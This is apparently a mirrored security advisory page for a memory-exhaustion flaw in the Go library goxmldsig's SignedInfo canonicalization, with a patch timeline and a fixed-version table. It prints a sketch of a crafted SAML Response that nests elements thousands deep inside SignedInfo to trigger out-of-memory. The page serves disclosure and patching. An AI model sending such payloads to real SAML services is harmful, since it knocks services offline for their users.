GHSA-QHRP-HFFF-VPHR
Quadratic memory amplification in SignedInfo canonicalization
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v1.6.1 | github.com/russellhaering/goxmldsig · -15 d desde divulgación | |
| Divulgación | Publicada | GHSA-QHRP-HFFF-VPHR divulgada · CVSS 7.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
For non-exclusive canonicalization algorithms goxmldsig deep copies element subtree at every node. A signature whose `SignedInfo` contains a deeply nested chain costs O(depth^2) memory. A ~60 KB unauthenticated request drives the process to multiple gigabytes of resident heap and out-of-memory.
In the context of SAML, an unauthenticated attacker can craft a Response object with an invalid signature to trigger this case by nesting elements within the SignedInfo block:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" ID="_resp" Version="2.0" IssueInstant="{now}">
<ds:Signature>
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2006/12/xml-c14n11"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_resp"><ds:DigestValue>AA==</ds:DigestValue></ds:Reference>
<a><a><a> ... (repeated to a depth of several thousand) ... </a></a></a>
</ds:SignedInfo>
<ds:SignatureValue>AA==</ds:SignatureValue>
</ds:Signature>
<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
</samlp:Response>Patch — Fixed in v1.6.1 by PR 195 https://github.com/russellhaering/goxmldsig/pull/195, which charges the SignedInfo subtree against a 1000-node traversal limit in etreeutils.NSDetatch before canonicalization runs, bounding the work at O(limit²) regardless of nesting depth.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/russellhaering/goxmldsig |
Corregida | v1.6.1 | -15 d | v1.6.1 no afectada |
v1.6.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-qhrp-hfff-vphrLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
